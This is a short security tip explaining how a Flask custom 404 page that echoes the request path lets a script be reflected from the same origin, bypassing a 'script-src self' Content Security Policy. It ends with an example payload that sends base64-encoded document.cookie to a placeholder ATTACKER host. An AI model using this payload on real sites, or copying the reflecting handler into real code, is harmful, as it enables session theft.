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Bypass CSP when a custom 404 page is present

With:

resp.headers['Content-Security-Policy'] = "script-src 'self';

And a custom 404 page like:

@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"

It's possible to reflect JS in the same origin.

E.g.

<script src='ab.c/;fetch(`ATTACKER/${btoa(document.cookie)}`) //'>